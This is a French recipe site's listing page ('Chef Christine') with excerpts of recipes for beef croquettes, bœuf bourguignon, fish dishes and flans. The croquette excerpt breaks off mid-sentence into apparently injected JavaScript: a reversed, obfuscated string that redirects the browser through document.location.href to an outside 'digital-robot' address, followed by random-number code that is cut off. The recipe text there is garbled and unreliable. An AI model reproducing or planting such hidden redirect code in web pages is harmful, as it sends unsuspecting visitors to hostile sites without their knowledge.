Chef Christine
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Toutes les recettes et articles de Christine
Croquette de bœuf
Préparez la sauce béchamel. Hors du feu incorporez le jaune d’œuf, la sauce tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if ...
Christine Lire la suiteBœuf bourguignon
Pelez, rincez, coupez en rondelles les carottes, pelez émincez les oignons et les gousses d’ail. ...
Christine Lire la suiteRôti de bœuf à la groseille
Dans un récipient mélangez le vinaigre avec la gelée de groseilles, le vin blanc, la ...
Christine Lire la suiteFilet de merlan au basilic
Pelez, hachez l’échalote. Lavez, ciselez le basilic. Dans une casserole versez le vin blanc sec ...
Christine Lire la suitePoisson au beurre de mâche
Dans une casserole avec de l’eau froide salée, faites cuire les pommes de terre pelées, ...
Christine Lire la suitePoisson à la moutarde
Déposez les filets de poisson dans un plat à gratin beurré, salez et poivrez. Arrosez ...
Christine Lire la suiteStruzel au gingembre et pêches rôties
Dans un récipient mélangez le beurre, le sucre, la cassonade, la farine, le gingembre et ...
Christine Lire la suiteFlan aux raisins Bordelais
Abaissez la pâte brisée dans un plat à tarte beurré. Préparez le flan en mélangeant ...
Christine Lire la suiteFlan à l’orange
Dans un récipient battez les œufs en omelette avec le sucre en poudre, la pincée ...
Christine Lire la suiteFlan pâtissier sans pâte
Versez le lait dans une casserole et portez à ébullition. Dans un saladier fouettez énergiquement ...
Christine Lire la suiteLes Recettes
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Soupe toute orange
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Aiguillettes de volaille à la moutarde
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Filet de Saint-Pierre sauce orange safrané
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Cocktail de fruits au cognac
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Paupiettes Estivales
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